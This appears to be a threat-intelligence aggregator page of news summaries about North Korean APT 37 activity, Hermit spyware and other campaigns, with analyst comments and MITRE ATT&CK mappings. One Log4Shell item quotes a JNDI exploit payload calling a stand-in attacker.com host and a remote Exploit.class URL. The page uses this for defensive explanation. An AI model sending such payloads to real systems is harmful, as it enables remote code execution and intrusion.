What's new arround internet
| Src | Date (GMT) | Titre | Description | Tags | Stories | Notes |
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2022-09-21 18:36:17 | Sophisticated Hermit Mobile Spyware Heralds Wave of Government Surveillance (lien direct) | At the SecTor 2022 conference in Toronto next month, researchers from Lookout will take a deep dive into Hermit and the shadowy world of mobile surveillance tools used by repressive regimes. | Cloud | APT 37 | |
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2022-09-19 13:47:00 | Meeting the “Ministrer” (lien direct) | FortiGuard Labs discovered an unassuming phishing email that attempts to deploy malware. The actions used to execute this strategy are consistent with Konni, a RAT that has been tied to the group APT 37. Read to learn more about this social engineering lure. | Cloud | APT 37 | |
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2022-08-30 15:01:00 | Anomali Cyber Watch: First Real-Life Video-Spoofing Attack, MagicWeb Backdoors via Non-Standard Key Identifier, LockBit Ransomware Blames Victim for DDoSing Back, and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: Authentication, DDoS, Fingerprinting, Iran, North Korea, Ransomware, and Russia. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
LastPass Hackers Stole Source Code
(published: August 26, 2022)
In August 2022, an unidentified threat actor gained access to portions of the password management giant LastPass development environment. LastPass informed that it happened through a single compromised developer account and the attacker took portions of source code and some proprietary LastPass technical information. The company claims that this incident did not affect customer data or encrypted password vaults.
Analyst Comment: This incident doesn’t seem to have an immediate impact on LastPass users. Still, organizations relying on LastPass should raise the concern in their risk assessment since “white-box hacking” (when source code of the attacking system is known) is easier for threat actors. Organizations providing public-facing software should take maximum measures to block threat actors from their development environment and establish robust and transparent security protocols and practices with all third parties involved in their code development.
Tags: LastPass, Password manager, Data breach, Source code
Mercury Leveraging Log4j 2 Vulnerabilities in Unpatched Systems to Target Israeli
(published: August 25, 2022)
Starting in July 2022, a new campaign by Iran-sponsored group Static Kitten (Mercury, MuddyWater) was detected targeting Israeli organizations. Microsoft researchers detected that this campaign was leveraging exploitation of Log4j 2 vulnerabilities (CVE-2021-45046 and CVE-2021-44228) in SysAid applications (IT management tools). For persistence Static Kitten was dropping webshells, creating local administrator accounts, stealing credentials, and adding their tools in the startup folders and autostart extensibility point (ASEP) registry keys. Overall the group was heavily using various open-source and built-in operating system tools: eHorus remote management software, Ligolo reverse tunneling tool, Mimikatz credential theft tool, PowerShell programs, RemCom remote service, Venom proxy tool, and Windows Management Instrumentation (WMI).
Analyst Comment: Network defenders should monitor for alerts related to web shell threats, suspicious RDP sessions, ASEP registry anomaly, and suspicious account creation. Similarly, SysAid users can monitor for webshells and abnormal processes related to SysAisServer instance. Even though Static Kitten was observed leveraging the Log4Shell vulnerabilities in the past (targeting VMware apps), most of their attacks still start with spearphishing, often from a compromised email account.
MITRE ATT&CK: [MITRE ATT&CK] Exploit Public-Facing Application - T1190 | [MITRE ATT&CK] OS Credential Dumping - T1003 | [MITRE ATT&CK] Phishing - T1566 | |
Ransomware Hack Tool Vulnerability Threat Guideline Cloud | APT 37 APT 29 LastPass | |
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2022-08-25 01:00:31 | Kimsuky\'s GoldDragon cluster and its C2 operations (lien direct) | Kimsuky (also known as Thallium, Black Banshee and Velvet Chollima) is a prolific and active threat actor primarily targeting Korea-related entities. In early 2022, we observed this group was attacking the media and a think-tank in South Korea. | Threat Cloud | APT 37 | |
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2022-08-18 08:00:00 | Ukraine and the fragility of agriculture security (lien direct) |  By Joe Marshall.The war in Ukraine has had far-reaching global implications and one of the most immediate effects felt will be on the global supply chain for food. This war-induced fragility has exposed the weaknesses of how we feed ourselves globally. Ransomware cartels and other adversaries are well aware of this and are actively exploiting that fragility. For the past six years, Cisco Talos has been actively involved in assisting public and private institutions in Ukraine to defend themselves against state-sponsored actors. Our involvement stretches the gamut from commercial to critical infrastructure, to election security. Our presence has afforded us unique opportunities and observations about cybersecurity in a macro and micro way. Ukraine has been a frequent victim of state-sponsored cyber attacks aimed at critical infrastructures like power and transportation. Talos is proud to stand with our partners in Ukraine and help defend their critical networks and help users there maintain access to necessary services. Now that Russia has invaded Ukraine, those threats have escalated to kinetic attacks that are wreaking havoc on a critical element of our world: agriculture and our global food supply chain. Even worse is the implications this war will have for future cyber attacks, as fragility is considered a lucrative element in deciding victimology by threat actors like ransomware cartels. To truly grasp the implications of the war in Ukraine, we have to examine how vital Ukrainian agriculture feeds the world, the current state of affairs, and what this means for the global cybersecurity posture to protect agricultural assets. Where there is weakness, there is opportunityRansomware cartels and their affiliates are actively targeting the agricultural industry. Moreover, these actors have done their homework and are targeting agricultural companies during the two times of the year where they cannot suffer disruptions: planting and harvesting. Per the published FBI PIN Alert: “Cyber actors may perceive cooperatives as lucrative targets with a willingness to pay due to the time-sensitive role they play in agricultural production.” This is far from unusual for these adversaries - they are shrewd and calculating, and understand their victims' weaknesses and industries. H |
Ransomware Threat Guideline Cloud | NotPetya Uber APT 37 APT 32 APT 28 APT 10 APT 21 Guam | |
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2022-08-06 10:46:21 | CISO workshop slides (lien direct) | A glossy, nicely-constructed and detailed PowerPoint slide deck by Microsoft Security caught my beady this morning. The title 'CISO Workshop: Security Program and Strategy' with 'Your Name Here' suggests it might be a template for use in a workshop/course bringing CISOs up to speed on the governance, strategic and architectural aspects of information security, but in fact given the amount of technical detail, it appears to be aimed at informing IT/technology managers about IT or cybersecurity, specifically. Maybe it is intended for newly-appointed CISOs or more junior managers who aspire to be CISOs, helping them clamber up the pyramid (slide 87 of 142): | Malware Vulnerability Threat Patching Guideline Medical Cloud | Uber APT 38 APT 37 APT 28 APT 19 APT 15 APT 10 APT 34 Guam | |
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2022-08-02 15:17:00 | Anomali Cyber Watch: Velvet Chollima Steals Emails from Browsers, Austrian Mercenary Leverages Zero-Days, China-Sponsored Group Uses CosmicStrand UEFI Firmware Rootkit, and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: APT, Cyber mercenaries, Phishing, Rootkits, Spyware, and Vulnerabilities. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
SharpTongue Deploys Clever Mail-Stealing Browser Extension “SHARPEXT”
(published: July 28, 2022)
Volexity researchers discovered SharpExt, a new malicious browser app used by the North-Korea sponsored Velvet Chollima (Kimsuky, SharpTongue, Thallium) group. SharpExt inspects and exfiltrates data from a victim's webmail (AOL or Gmail) account as they browse it. Velvet Chollima continues to add new features to the app, the latest known version (3.0) supports three browsers: Microsoft Edge, Google Chrome, and Whale, the latter almost exclusively used in South Korea. Following the initial compromise, Velvet Chollima deploy SharpExt and to avoid warning the victim they manually exfiltrate settings files to change the settings and generate a valid "super_mac" security check value. They also hide the newly opened DevTools window and any other warning windows such as a warning regarding extensions running in developer mode.
Analyst Comment: Velvet Chollima is known for its tactic of deploying malicious browser extensions, but in the past it was concentrating on stealing credentials instead of emails. The group continues aggressive cyberespionage campaigns exfiltrating military and industrial technologies from Europe, South Korea, and the US. Network defenders should monitor for suspicious instances of PowerShell execution, as well as for traffic to and from known Velvet Chollima infrastructure (available in Anomali Match).
MITRE ATT&CK: [MITRE ATT&CK] Browser Extensions - T1176 | [MITRE ATT&CK] Email Collection - T1114 | [MITRE ATT&CK] Command and Scripting Interpreter - T1059 | [MITRE ATT&CK] Hide Artifacts - T1564
Tags: SharpExt, Velvet Chollima, Kimsuky, SharpTongue, Thallium, APT, North Korea, source-country:KP, South Korea, target-country:KR, USA, target-country:US, target-region:Europe, AOL, Gmail, Edge, Chrome, Whale, PowerShell, VBS, Browser extension
Untangling KNOTWEED: European Private-Sector Offensive Actor Using 0-Day Exploits
(published: July 27, 2022)
Microsoft researchers detail activity of DSIRF, Austrian private-sector offensive actor (PSOA). In 2021, this actor, tracked as Knotweed, used four Windows and Adobe 0-day exploits. In 2022, DSIRF was exploiting another Adobe Reader vulnerability, CVE-2022-22047, which was patched in July 2022. DSIRF attacks rely on their malware toolset called Subzero. The initial downloader shellcode is executed from either the exploit chains or malicious Excel documents. It downloads a JPG image file with extra encrypted data, extracts, decrypts and loads to the memory the Corelump memory-only infostealer. For persistence, Corelump creates trojanized copies of legitimate Windows DLLs that se |
Malware Tool Vulnerability Threat Patching Guideline Cloud | APT 37 APT 28 | |
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2022-07-24 13:53:53 | Is APT28 behind the STIFF#BIZON attacks attributed to North Korea-linked APT37? (lien direct) | >North Korea-linked APT37 group targets high-value organizations in the Czech Republic, Poland, and other countries. Researchers from the Securonix Threat Research (STR) team have uncovered a new attack campaign, tracked as STIFF#BIZON, targeting high-value organizations in multiple countries, including Czech Republic, and Poland. The researchers attribute this campaign to the North Korea-linked APT37 group, aka […] | Threat Cloud | APT 37 APT 28 | |
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2022-07-23 12:08:04 | North Korean hackers attack EU targets with Konni RAT malware (lien direct) | Threat analysts have uncovered a new campaign attributed to APT37, a North Korean group of hackers, targeting high-value organizations in the Czech Republic, Poland, and other European countries. [...] | Malware Threat Cloud | APT 37 | |
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2022-07-09 16:53:07 | Apple Lockdown Mode will protect users against highly targeted cyberattacks (lien direct) | >Apple plans to introduce a security feature, called Lockdown Mode, to protect its users against “highly targeted cyberattacks.” The recent wave of sophisticated attacks against Apple users (i.e. Pegasus, DevilsTongue, and Hermit) urged the tech giant to develop a new security feature, called Lockdown Mode, to protect its users against highly targeted cyberattacks. The new feature will be implemented in iOS 16, iPadOS […] | Cloud | APT 37 | |
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2022-06-29 10:03:54 | Hermit spyware is deployed with the help of a victim\'s ISP (lien direct) | A new commercial spyware for governments, called Hermit, has spotted in the wild. It affects iOS and all Android versions. | Cloud | APT 37 | |
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2022-06-24 15:00:00 | What is iOS Hermit spyware? (lien direct) | >iOS Hermit spyware is a commercial-grade surveillance tool derived from a known Android surveillance tool. Learn more + how to stay safe. | Tool Cloud | APT 37 | |
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2022-06-24 12:37:15 | Google details commercial spyware that targets both Android and iOS devices (lien direct) | Hermit highlights a wider issue concerning our privacy and freedom. | Cloud | APT 37 | |
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2022-06-24 03:40:50 | Google Says ISPs Helped Attackers Infect Targeted Smartphones with Hermit Spyware (lien direct) | A week after it emerged that sophisticated mobile spyware dubbed Hermit was used by the government of Kazakhstan within its borders, Google said it has notified Android users of infected devices. Additionally, necessary changes have been implemented in Google Play Protect - Android's built-in malware defense service - to protect all users, Benoit Sevens and Clement Lecigne of Google Threat | Malware Cloud | APT 37 | |
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2022-06-21 08:58:07 | Lookout Discovers Android Spyware Deployed in Kazakhstan (lien direct) | Lookout has announced the discovery of an enterprise-grade Android surveillanceware currently used by the government of Kazakhstan within its borders. Lookout researchers also found evidence of deployment of the spyware – which Lookout researchers have named “Hermit” – in Italy and in northeastern Syria. Hermit is likely developed by Italian spyware vendor RCS Lab S.p.A. […] | Cloud | APT 37 | |
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2022-06-17 20:00:33 | Experts link Hermit spyware to Italian surveillance firm RCS Lab and a front company (lien direct) | >Experts uncovered an enterprise-grade surveillance malware dubbed Hermit used to target individuals in Kazakhstan, Syria, and Italy since 2019. Lookout Threat Lab researchers uncovered enterprise-grade Android surveillance spyware, named Hermit, used by the government of Kazakhstan to track individuals within the country. The latest samples of this spyware were detected by the researchers in April 2022, four […] | Malware Threat Cloud | APT 37 | |
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2022-06-17 06:12:54 | Researchers Uncover \'Hermit\' Android Spyware Used in Kazakhstan, Syria, and Italy (lien direct) | An enterprise-grade surveillanceware dubbed Hermit has been put to use by entities operating from within Kazakhstan, Syria, and Italy over the years since 2019, new research has revealed. Lookout attributed the spy software, which is equipped to target both Android and iOS, to an Italian company named RCS Lab S.p.A and Tykelab Srl, a telecom services provider which it suspects to be a front | Cloud | APT 37 | |
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2022-06-16 19:09:44 | Android Spyware \'Hermit\' Discovered in Targeted Attacks (lien direct) | The commercial-grade surveillance software initially was used by law enforcement authorities in Italy in 2019, according to a new report. | APT 37 | ||
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2022-06-16 12:45:37 | Lookout découvre un logiciel espion Android déployé au Kazakhstan (lien direct) | Lookout annonce la découverte d'un logiciel de surveillance Android de niveau enterprise actuellement utilisé par le gouvernement du Kazakhstan à l'intérieur de ses frontières. Les chercheurs de Lookout ont également trouvé des preuves du déploiement du logiciel espion - que les chercheurs de Lookout ont nommé " Hermit " - en Italie et dans le nord-est de la Syrie. Hermit est probablement développé par le vendeur italien de logiciels espions RCS Lab S.p.A. et Tykelab Srl, une société de solutions de (...) - Malwares | Cloud | APT 37 | |
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2022-06-16 11:55:20 | Sophisticated Android Spyware \'Hermit\' Used by Governments (lien direct) | Security researchers at Lookout have analyzed a sophisticated Android spyware family that appears to have been created to serve nation-state customers. | APT 37 | ||
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2022-05-03 16:31:00 | Anomali Cyber Watch: Time-to-Ransom Under Four Hours, Mustang Panda Spies on Russia, Ricochet Chollima Sends Goldbackdoor to Journalists, and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: APT, China, Cyberespionage, LNK files, Malspam, North Korea, Phishing, Ransomware, and Vulnerabilities. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
A Lookback Under the TA410 Umbrella: Its Cyberespionage TTPs and Activity
(published: April 28, 2022)
ESET researchers found three different teams under China-sponsored umbrella cyberespionage group TA410, which is loosely linked to Stone Panda (APT10, Chinese Ministry of State Security). ESET named these teams FlowingFrog, JollyFrog, and LookingFrog. FlowingFrog uses the Royal Road RTF weaponizer described by Anomali in 2019. Infection has two stages: the Tendyron implant followed by a very complex FlowCloud backdoor. JollyFrog uses generic malware such as PlugX and QuasarRAT. LookingFrog’s infection stages feature the X4 backdoor followed by the LookBack backdoor. Besides using different backdoors and exiting from IP addresses located in three different districts, the three teams use similar tools and similar tactics, techniques, and procedures (TTPs).
Analyst Comment: Organizations should keep their web-facing applications such as Microsoft Exchange or SharePoint secured and updated. Educate your employees on handling suspected spearphishing attempts. Defense-in-depth (layering of security mechanisms, redundancy, fail-safe defense processes) is the best way to ensure safety from APTs, including a focus on both network and host-based security. Prevention and detection capabilities should also be in place.
MITRE ATT&CK: [MITRE ATT&CK] Exploit Public-Facing Application - T1190 | [MITRE ATT&CK] Phishing - T1566 | [MITRE ATT&CK] Native API - T1106 | [MITRE ATT&CK] Shared Modules - T1129 | [MITRE ATT&CK] Exploitation for Client Execution - T1203 | [MITRE ATT&CK] Inter-Process Communication - T1559 | [MITRE ATT&CK] Windows Management Instrumentation - T1047 | [MITRE ATT&CK] Scheduled Task - T1053 | [MITRE ATT&CK] Server Software Component - T1505 | [MITRE ATT&CK] Create or Modify System Process - T1543 | [MITRE ATT&CK] Obfuscated Files or Information - T1027 | [MITRE ATT&CK] Masquerading - T1036 | [MITRE ATT&CK] Masquerading - T1036 | [MITRE ATT&CK] Rootkit - T1014 | [MITRE ATT&CK] Process Injection - T1055 | |
Ransomware Malware Tool Vulnerability Threat Guideline Cloud | APT 37 APT 10 APT 10 | |
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2022-04-28 17:15:39 | CVE-2022-29412 (lien direct) | Multiple Cross-Site Request Forgery (CSRF) vulnerabilities in Hermit ????? plugin | Cloud | APT 37 | |
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2022-04-28 17:15:39 | CVE-2022-29411 (lien direct) | SQL Injection (SQLi) vulnerability in Mufeng's Hermit ????? plugin | Vulnerability Cloud | APT 37 | |
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2022-04-28 17:15:39 | CVE-2022-29413 (lien direct) | Cross-Site Request Forgery (CSRF) leading to Stored Cross-Site Scripting (XSS) in Mufeng's Hermit ????? plugin | Guideline Cloud | APT 37 | |
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2022-04-28 17:15:38 | CVE-2022-29410 (lien direct) | Authenticated SQL Injection (SQLi) vulnerability in Mufeng's Hermit ????? plugin | Vulnerability Cloud | APT 37 | |
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2022-04-26 11:38:17 | Nation-state Hackers Target Journalists with Goldbackdoor Malware (lien direct) | A campaign by APT37 used a sophisticated malware to steal information about sources , which appears to be a successor to Bluelight. | Malware Cloud | APT 37 | |
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2022-04-26 10:13:51 | North Korea targets journalists with novel malware (lien direct) | State sponsored hackers operating out of North Korea have been targeting journalists with a novel malware strain, it has been revealed. The group, known as APT37, distribute the malware through a phishing attack originally discovered by NK news, a US news site specialising in covering news and providing research and analysis about North Korea, using […] | Malware Cloud | APT 37 | |
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2022-04-26 08:25:03 | North Korea-linked APT37 targets journalists with GOLDBACKDOOR (lien direct) | North Korea-linked APT37 group is targeting journalists that focus on DPRK with a new piece of malware. North Korea-linked APT37 group (aka Ricochet Chollima) has been spotted targeting journalists focusing on DPRK with a new piece of malware. The campaign was discovered by journalists at NK News, an American news site that focuses on North […] | Cloud | APT 37 | |
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2022-04-26 02:53:07 | North Korean Hackers Target Journalists with GOLDBACKDOOR Malware (lien direct) | A state-backed threat actor with ties to the Democratic People's Republic of Korea (DRPK) has been attributed to a spear-phishing campaign targeting journalists covering the country with the ultimate goal of deploying a backdoor on infected Windows systems. The intrusions, said to be the work of Ricochet Chollima, resulted in the deployment of a novel malware strain called GOLDBACKDOOR, an | Malware Threat Cloud | APT 37 | |
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2021-12-15 16:00:00 | Anomali Cyber Watch: Apache Log4j Zero-Day Exploit, Google Fighting Glupteba Botnet, Vixen Panda Targets Latin America and Europe, and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: Apache, Botnets, China, Espionage, Java, Russia, USB, and Vulnerabilities. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit
(published: December 10, 2021)
A critical vulnerability, registered as CVE-2021-44228, has been identified in Apache Log4j 2, which is an open source Java package used to enable logging in. The Apache Software Foundation (ASF) rates the vulnerability as a 10 on the common vulnerability scoring system (CVSS) scale. Cisco Talos has observed malicious activity related to CVE-2021-44228 beginning on December 2, 2021. This vulnerability affects millions of users and exploitation proof-of-concept code exists via LunaSec explains how to exploit it in five simple steps. These include: 1: Data from the User gets sent to the server (via any protocol). 2: The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server). 3: The Log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via "Java Naming and Directory Interface" (JNDI). 4: This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process. 5: This injected payload triggers a second stage, and allows an attacker to execute arbitrary code.
Analyst Comment: Log4j version 2.15.0 has been released to address this vulnerability, however, it only changes a default setting (log4j2.formatMsgNoLookups) from false to true. This means that if the setting is set back to false, Log4j will again be vulnerable to exploitation. The initial campaigns could have been detected by filtering on certain keywords such as "ldap", "jndi", but this detection method is easily bypassable.
MITRE ATT&CK: [MITRE ATT&CK] Exploit Public-Facing Application - T1190 | [MITRE ATT&CK] Exploitation for Client Execution - T1203 | [MITRE ATT&CK] Command and Scripting Interpreter - T1059 | [MITRE ATT&CK] Remote Services - T1021 | [MITRE ATT&CK] OS Credential Dumping - T1003 | [MITRE ATT&CK] Resource Hijacking - T1496 | [MITRE ATT&CK] Network Denial of Service - T1498
Tags: Log4j, CVE-2021-44228, Log4j2, Log4Shell, Apache, Zero-day, Java, Jndi, Class file
Over a Dozen Malicious NPM Packages Caught Hijacking Discord Servers
(published: December 8, 2021)
Researchers from the DevOps firm JFrog has found at least 17 malicious packages on the open source npm Registry for JavaScript. The names of the packages are: prerequests-xcode (version 1.0.4), discord-selfbot-v14 (version 12.0.3), discord-lofy (version 11.5.1), discordsystem (version 11.5.1), discord-vilao (version 1.0.0), fix-error (version 1 |
Malware Tool Vulnerability Threat Cloud | APT 37 APT 29 APT 15 APT 15 APT 25 | |
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2021-12-07 22:33:02 | Warning: Yet Another Bitcoin Mining Malware Targeting QNAP NAS Devices (lien direct) | Network-attached storage (NAS) appliance maker QNAP on Tuesday released a new advisory warning of a cryptocurrency mining malware targeting its devices, urging customers to take preventive steps with immediate effect. "A bitcoin miner has been reported to target QNAP NAS. Once a NAS is infected, CPU usage becomes unusually high where a process named '[oom_reaper]' could occupy around 50% of the | Malware Cloud | APT 37 | |
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2021-12-07 16:04:00 | Anomali Cyber Watch: Nginx Trojans, BlackByte Ransomware, Android Malware Campaigns, and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: APT, Ransomware, Maldocs, E-Commerce, Phishing, and Vulnerabilities. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
New Malware Hides as Legit Nginx Process on E-Commerce Servers
(published: December 2, 2021)
Researchers at Sansec discovered NginRAT, a new malware variant that has been found on servers in the US, Germany, and France. Put in place to intercept credit card payments, this malware impersonates legitimate nginx processes which makes it very difficult to detect. NginRAT has shown up on systems that were previously infected with CronRAT, a trojan that schedules processes to run on invalid calendar days. This is used as a persistence technique to ensure that even if a malicious process is killed, the malware has a way to re-infect the system.
Analyst Comment: Threat actors are always adapting to the security environment to remain effective. New techniques can still be spotted with behavioural analysis defenses and social engineering training. Ensure that your company's firewall blocks all entry points for unauthorized users, and maintain records of how normal traffic appears on your network. Therefore, it will be easier to spot unusual traffic and connections to and from your network to potentially identify malicious activity.
MITRE ATT&CK: [MITRE ATT&CK] Obfuscated Files or Information - T1027 | [MITRE ATT&CK] Shared Modules - T1129
Tags: NginRAT, CronRAT, Nginx, North America, EU
How Phishing Kits Are Enabling A New Legion Of Pro Phishers
(published: December 2, 2021)
Phishing kits, such as XBALTI are seeing increased use against financial institutions. Mixing email with SMS messages, attackers are targeting companies such as Charles Schwab, J.P. Morgan Chase, RBC Royal Bank and Wells Fargo. Victims are targeted and asked to verify account details. The attack is made to appear legitimate by redirecting to the real sites after information has been harvested.
Analyst Comment: With financial transactions increasing around this time of year, it is likely financially themed malspam and phishing emails will be a commonly used tactic. Therefore, it is crucial that your employees are aware of their financial institution's policies regarding electronic communication. If a user is concerned due to the scare tactics often used in such emails, they should contact their financial institution via legitimate email or another form of communication. Requests to open a document in a sense of urgency and poor grammar are often indicative of malspam or phishing attacks. Said emails should be properly avoided and reported to the appropriate personnel.
Tags: Phishing, XBATLI
Injection is the New Black: Novel RTF Template Inject Technique Poised for Widespread Adoption Beyond APT Actors
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Ransomware Malware Tool Vulnerability Threat Cloud | APT 37 | ★★★★ |
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2021-12-07 15:28:27 | Bitcoin Miner [oom_reaper] targets QNAP NAS devices (lien direct) | Taiwanese vendor QNAP warns customers of ongoing attacks targeting their NAS devices with cryptocurrency miners. Taiwanese vendor QNAP warns customers of threat actors targeting their NAS devices with cryptocurrency miners. Upon compromising the devices, the miner will create a new process named [oom_reaper] that allows threat actors to mine Bitcoin The above process could occupy […] | Threat Cloud | APT 37 | |
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2021-11-30 12:24:19 | North Korean Hackers Use New \'Chinotto\' Malware to Target Windows, Android Devices (lien direct) | Kaspersky has analyzed a new espionage campaign conducted by the threat actor named ScarCruft, and the security firm's researchers have uncovered a previously unknown malware that has been used to target Windows and Android devices. | Malware Threat Cloud | APT 37 | |
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2021-11-30 11:24:48 | Recent APT37 Activity and Chinotto, a Multi Platform Infostealer (lien direct) | FortiGuard Labs is aware of reports of recent activity from APT37. APT37 is a nation-state threat actor attributed to North Korea. The latest discovery by researchers at Kaspersky Labs has revealed a sophisticated, targeted attack that utilizes the stolen credentials from Facebook and email accounts belonging to an associate of the targeted victim.The victim was socially engineered and compelled into opening rar zipped attachments purporting to be from the trusted sender that contained a malicious Word document. The Word document is multi stage in design, and uses a malicious macro to initiate the first stage. The first stage detects the presence of AV software, and if AV is not present will initiate the second stage which is a shellcode that will download the final third stage payload.Ultimately, after several months of dwelling undetected on the infected system, the backdoor will then download the multiplatform infostealer, "Chinotto." Windows variants were sent via spearphishing emails and Android variants were sent via SMShing texts.What Operating Systems are Affected?Chinoto targets Windows and Android based operating systems.Is This Limited to Targeted Attacks?Yes.How Serious of an Issue is This?Medium.What is APT37?APT37 (also known as GROUP123 and Scarcruft), attributed to North Korean threat actors, has been in operation for several years. During that time, APT37 has been attributed to the Adobe Flash zero-day attack (CVE-2018-4878) that targeted researchers based in South Korea who were performing research on North Korea. APT37 focuses on various organizations with an interest in North Korea.APT37 is famous for exploiting vulnerabilities in the Hangul Word Processor (HWP) which is commonly used in South Korea, especially by those in the government sector. Analysis suggests that this is a very detailed and sophisticated threat actor with an arsenal of malware and exploits at their disposal that targets various verticals and organizations with specially crafted campaigns. Other vectors besides the Adobe and Hangul vulnerabilities observed were the usage of Microsoft vulnerabilities as well, specifically CVE-2017-0199 (Microsoft Office UAC bypass) and CVE-2015-2545 (Microsoft Office Encapsulated PostScript (EPS). For further details on the exploitation of HWP documents and campaigns previously analyzed, please refer to our blog here.What is the Status of Coverage?FortiGuard Labs has AV coverage in place for publicly available samples as:VBA/Agent.AAK!trW32/PossibleThreatVBA/Agent.AF3C!trW32/Agent.ACDD!trPossibleThreat.MUPossibleThreat.PALLAS.HW32/FRS.VSNTGF20!trW32/Bsymem.MSJ!trAll network IOCs are blocked by the WebFiltering client.Any Other Suggested Mitigation?Due to the ease of disruption and the potential for damage to daily operations, reputation, and unwanted release of personally identifiable information (PII), etc. it is important to keep all AV and IPS signatures up to date.It is also important to ensure that all known vendor vulnerabilities are addressed and updated to protect from attackers having a foothold within a network. Attackers are well aware of the difficulty of patching and if it is determined that patching is not feasible at this time, an assessment should be conducted to determine risk.Also, as this campaign was sent via spearphishing and smsshing - organizations are encouraged to conduct ongoing training sessions to educate and inform personnel about the latest phishing/spearphishing/smishing attacks. They also need to encourage employees to never open attachments from someone they don't know, and to always treat emails from unrecognized/untrusted senders with caution. Since it has been reported that various phishing/spearphishing/smishing attacks have been delivered via social engineering distribution mechanisms, it is crucial that end users within an organization be made aware of the various types of attacks being delivered. This can be accomplished through regular training sessions and impromptu tests using predetermined templates by an organizations' internal security department. Si | Malware Threat Patching Cloud | APT 37 | |
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2021-11-29 19:08:06 | ScarCruft APT Mounts Desktop/Mobile Double-Pronged Spy Attacks (lien direct) | The North Korea-linked group is deploying the Chinotto spyware backdoor against dissidents, journalists and other politically relevant individuals in South Korea. | APT 37 | ||
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2021-11-29 10:00:31 | ScarCruft surveilling North Korean defectors and human rights activists (lien direct) | The ScarCruft group (also known as APT37 or Temp.Reaper) is a nation-state sponsored APT actor. Recently, we had an opportunity to perform a deeper investigation on a host compromised by this group. | Cloud | APT 37 | |
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2021-11-29 08:43:29 | APT37 targets journalists with Chinotto multi-platform malware (lien direct) | North Korean state hacking group APT37 targets South Korean journalists, defectors, and human rights activists in watering hole, spear-phishing emails, and smishing attacks delivering malware dubbed Chinotto capable of infecting Windows and Android devices. [...] | Malware Cloud | APT 37 | |
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2021-11-29 05:14:10 | New Chinotto Spyware Targets North Korean Defectors, Human Rights Activists (lien direct) | North Korean defectors, journalists who cover North Korea-related news, and entities in South Korea are being zeroed in on by a nation-state-sponsored advanced persistent threat (APT) as part of a new wave of highly-targeted surveillance attacks. Russian cybersecurity firm Kaspersky attributed the infiltrations to a North Korean hacker group tracked as ScarCruft, also known as APT37, Reaper | Threat Cloud | APT 37 APT 37 | |
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2021-11-19 15:14:40 | North Korea-linked TA406 cyberespionage group activity in 2021 (lien direct) | North Korea-linked TA406 APT group has intensified its attacks in 2021, particularly credential harvesting campaigns. A report published by Proofpoint revealed that the North Korea-linked TA406 APT group (Kimsuky, Thallium, and Konni, Black Banshee, Velvet Chollima) has intensified its operations in 2021. The TA406 cyber espionage group was first spotted by Kaspersky researchers in 2013. At the end of October […] | Cloud | APT 37 | |
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2021-11-10 14:11:03 | North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets (lien direct) |
By Jung soo An and Asheer Malhotra, with contributions from Kendall McKay.
Cisco Talos has observed a new malware campaign operated by the Kimsuky APT group since June 2021.Kimsuky, also known as Thallium and Black Banshee, is a North Korean state-sponsored advanced...
[[ This is only the beginning! Please visit the blog for the complete entry ]] |
Malware Cloud | APT 37 | |
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2021-08-24 17:11:00 | Anomali Cyber Watch: ProxyShell Being Exploited to Install Webshells and Ransomware, Neurevt Trojan Targeting Mexican Users, Secret Terrorist Watchlist Exposed, and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: APT37 (InkySquid), BlueLight, Ransomware, T-Mobile Data Breach, Critical Vulnerabilities, IoT, Kalay, Neurevt, and ProxyShell. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Current Anomali ThreatStream users can query these indicators under the “anomali cyber watch” tag.
Trending Cyber News and Threat Intelligence
Microsoft Exchange Servers Still Vulnerable to ProxyShell Exploit
(published: August 23, 2021)
Despite patches a collection of vulnerabilities (ProxyShell) discovered in Microsoft Exchange being available in the July 2021 update, researchers discovered nearly 2,000 of these vulnerabilities have recently been compromised to host webshells. These webshells allow for attackers to retain backdoor access to compromised servers for further exploitation and lateral movement into the affected organizations. Researchers believe that these attacks may be related to the recent LockFile ransomware attacks.
Analyst Comment: Organizations running Microsoft Exchange are strongly encouraged to prioritize updates to prevent ongoing exploitation of these vulnerabilities. In addition, a thorough investigation to discover and remove planted webshells should be undertaken as the patches will not remove planted webshells in their environments. A threat intelligence platform (TIP) such as Anomali Threatstream can be a valuable tool to assist organizations ingesting current indicators of compromise (IOCs) and determine whether their Exchange instances have been compromised.
